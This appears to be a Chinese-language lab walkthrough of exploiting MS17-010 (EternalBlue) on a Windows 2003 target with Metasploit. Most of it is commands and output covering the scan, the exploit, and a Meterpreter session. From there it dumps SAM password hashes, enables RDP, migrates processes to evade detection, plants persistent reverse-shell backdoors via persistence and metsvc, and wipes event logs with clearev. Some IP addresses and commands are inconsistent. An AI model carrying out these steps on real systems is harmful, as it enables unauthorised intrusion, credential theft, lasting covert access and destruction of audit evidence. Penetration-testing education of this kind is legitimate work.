MS17-010遠程溢出漏洞(CVE-2017-0143)
描述
繼2016年 8 月份黑客組織 Shadow Brokers 放出第一批 NSA “方程式小組”內部黑客工具后,2017 年 4 月 14 日,Shadow Brokers 再次公布了一批新的 NSA 黑客工具,其中包含了一個攻擊框架和多個 Windows 漏洞利用工具。攻擊者利用這些漏洞可以遠程獲取 Windows 系統權限並植入后門。
針對此次泄露的漏洞,微軟提前發布了安全公告 MS17-010,修復了泄露的多個 SMB 遠程命令執行漏洞。由於此次泄露的漏洞覆蓋了大部分常見的 Windows 版本(包括微軟不再提供更新服務的 Windows XP 和 Windows Server 2003),網絡空間中仍然存在大量可被入侵的設備
永恆之藍漏洞是通過TCP端口445和139來利用SMBv1和NBT中的遠程代碼執行漏洞,惡意代碼會掃描開放445文件共享端口的Windows機器,無需用戶任何操作,只要開機上網,不法分子就能在電腦和服務器中植入勒索軟件、遠程控制木馬、虛擬貨幣挖礦機等惡意程序。
漏洞影響
Windows 版本包括但不限於:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
目前在Metasploit上集成的攻擊載荷是ms17_010_psexec和ms17_010_eternalblue
環境准備
1.防火牆允許SMB流量進出
2.缺少MS17-010補丁
實驗配置
1.基於kali的metasploit攻擊框架
2.靶機(Windows 2003 R2)
ip:192.168.233.146
信息收集
nmap --script=vuln 192.168.233.146
根據以下掃描結果可以看出,192.168.233.146靶機上存在ms17-010漏洞,從而我們可以在metasploit中查找是否存在相應的模塊可以利用。
漏洞利用
msfconsole
在終端輸入命令msfconsole命令即可在kali linux中啟動Metasploit工具
search ms17-010
search命令后跟上關鍵字即可模糊查找指定模塊
use exploit/windows/smb/ms17_010_psexec
使用use命令后跟上模塊名,即可進入該模塊環境下使用其進行滲透作業
show options
使用show options命令列出當前使用的模塊正確運行所需要配置的所有參數(根據Required字段值來判斷對應參數是否為必填項)
附上這三步的截圖:
配置環節
使用set命令對某個參數進行設置(同時啟用該參數),使用unset命令可以禁用相關參數
msf5 exploit(windows/smb/ms17_010_psexec) > set DBGTRACE false DBGTRACE => false msf5 exploit(windows/smb/ms17_010_psexec) > set LEAKATTEMPTS 99 LEAKATTEMPTS => 99 msf5 exploit(windows/smb/ms17_010_psexec) > set NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt NAMED_PIPES => /usr/share/metasploit-framework/data/wordlists/named_pipes.txt msf5 exploit(windows/smb/ms17_010_psexec) > set rhost 192.168.233.146 rhost => 192.168.233.146 msf5 exploit(windows/smb/ms17_010_psexec) > set rhosts 192.168.233.146 rhosts => 192.168.233.146 msf5 exploit(windows/smb/ms17_010_psexec) > set rport 445 rport => 445 msf5 exploit(windows/smb/ms17_010_psexec) > set SHARE ADMIN$ SHARE => ADMIN$
配置完成后要正常使用模塊所必需配置的參數,即可使用run命令來運行此模塊。
從下面輸出可以看出,我們已經利用ms17_010漏洞模塊成功侵入目標服務器,並打開了一個meterpreter的shell。這個里面我們可以直接輸入dos命令來對系統進行操作:例如可以查下ip、創建用戶、開啟遠程等。
可以使用ifconfig查看一下IP
成功!
后滲透階段
先介紹一下Meterpreter
Meterpreter是Metasploit框架中的一個擴展模塊,作為溢出成功以后的攻擊載荷使用,攻擊載荷在溢出攻擊成功以后給我們返回一個控制通道。使用它作為攻擊載荷能夠獲得目標系統的一個Meterpretershell的鏈接。Meterpretershell作為滲透模塊有很多有用的功能,比如添加一個用戶、隱藏一些東西、打開shell、得到用戶密碼、上傳下載遠程主機的文件、運行cmd.exe、捕捉屏幕、得到遠程控制權、捕獲按鍵信息、清除應用程序、顯示遠程主機的系統信息、顯示遠程機器的網絡接口和IP地址等信息。另外Meterpreter能夠躲避入侵檢測系統。在遠程主機上隱藏自己,它不改變系統硬盤中的文件,因此HIDS[基於主機的入侵檢測系統]很難對它做出響應。此外它在運行的時候系統時間是變化的,所以跟蹤它或者終止它對於一個有經驗的人也會變得非常困難。最后,Meterpreter還可以簡化任務創建多個會話。可以來利用這些會話進行滲透。
help命令 (查看在meterpreter模塊下執行的命令)
發現了sysinfo //查看系統信息
getsystem //提升到system權限
hashdump //到處SAM數據庫的內容
SAM簡介
SAM是windows系統的一個系統用戶賬號管理文件。其全稱為security account manager。Windows中對用戶賬戶的安全管理使用了安全賬號管理器SAM(security account manager)的機制,安全賬號管理器對賬號的管理是通過安全標識進行的,安全標識在賬號創建時就同時創建,一旦賬號被刪除,安全標識也同時被刪除。安全標識是唯一的,即使是相同的用戶名,在每次創建時獲得的安全標識都時完全不同的。因此,一旦某個賬號被刪除,它的安全標識就不再存在了,即使用相同的用戶名重建賬號,也會被賦予不同的安全標識,不會保留原來的權限。 其文件位置:C:\windows\system32\config\SAM
其格式是 用戶名稱:RID:LM-HASH值:NT-HASH:::
在Windows系統下,有兩大hash,分別是LM HASH&NT HASH
對於NT HASH,我們直接可以在cmd5網站進行解密,解密Administrator用戶密碼為redhat
msf exploit(windows/smb/ms17_010_psexec) >run post/windows/manage/enable_rdp //打開目標服務器的遠程連接 msf exploit(windows/smb/ms17_010_psexec) >exploit meterpreter > portfwd add -l 2222 -r 192.168.135.136 -p 3389 //反彈目標的3389端口到本地的2222端口並監聽該端口 [*] Local TCP relay created: :2222 <-> 192.168.135.136:3389 meterpreter > portfwd //查看是否反彈成功 Active Port Forwards ==================== Index Local Remote Direction ----- ----- ------ --------- 0.0.0.0:2222 192.168.135.136:3389 Forward total active port forwards. root@kali:~# netstat -an | grep "2222" //我們在kali查看2222端口是在監聽狀態 tcp 0 0 0.0.0.0:2222 0.0.0.0:* LISTEN root@kali:~# rdesktop 127.0.0.1:2222 //連接本地的2222端口反彈到目標的3389端口,即打開目標的桌面 meterpreter > ps //查看系統進程 Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 [System Process] 0 System x86 0 NT AUTHORITY\SYSTEM 2792 mstsc.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\mstsc.exe 4 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe 808 explorer.exe x86 0 LOUISNIE\Administrator C:\WINDOWS\Explorer.EXE 264 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe 264 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe 336 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe 336 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe 1744 wuauclt.exe x86 2 LOUISNIE\Administrator C:\WINDOWS\system32\wuauclt.exe 384 vmacthlp.exe x86 0 NT AUTHORITY\SYSTEM meterpreter > migrate 292 //將該會話和系統進程綁定,免殺.格式是:migrate PID meterpreter > execute -H -i -f cmd.exe //創建新進程cmd.exe,-H不可見,-i交互 -f用系統命令去執行 meterpreter > kali 1569 //殺死進程,格式是:kali PID
植入后門,維持控制
msf exploit(windows/smb/ms17_010_psexec) > sessions -i 2 //開啟第二個會話 [*] Starting interaction with 2... meterpreter > run persistence - X -i 5 -p 4445 -r 192.168.135.136 //運行后門程序,-X指定啟動的方式為開機自啟動,-i反向連接的時間間隔 [!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe. [!] Example: run post/windows/manage/persistence_exe OPTION=value [...] [*] Running Persistence Script [*] Resource file for cleanup created at /root/.msf4/logs/persistence/MYCOMPUTER_20190219.3953/MYCOMPUTER_20190219.3953.rc [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.135.136 LPORT=4445 [*] Persistent agent script is 99670 bytes long meterpreter > background [*] Backgrounding session 2... msf exploit(windows/smb/ms17_010_psexec) > back msf > use exploit/multi/handler //使用exploit/multi/handler監聽連入的backdoor msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp //設置載荷 payload => windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 192.168.135.134 //設置將反彈到本地來 lhost => 192.168.135.134 msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.135.134:4444 [*] Sending stage (179779 bytes) to 192.168.135.136 [*] Sleeping before handling stage... [*] Meterpreter session 3 opened (192.168.135.134:4444 -> 192.168.135.136:2364) at 2019-02-19 21:42:12 +0800 [*] Sending stage (179779 bytes) to 192.168.135.136 [*] Sleeping before handling stage... [*] Meterpreter session 4 opened (192.168.135.1
或者可以使用metsvc模塊來留下后門
metsvc后滲透攻擊模塊其實就是將Meterpreter以系統服務的形式安裝到目標主機,它會上傳三個文件:
-
metsvc.dll
-
metsvc-service.exe
-
metsvc.exe
msf exploit(multi/handler) > sessions -i 2 //選擇一個會話 meterpreter > run metsvc //運行metsvc
清除日志:
meterpreter > clearev [*] Wiping 1 records from Application... [*] Wiping 26 records from System... [*] Wiping 2281 records from Security..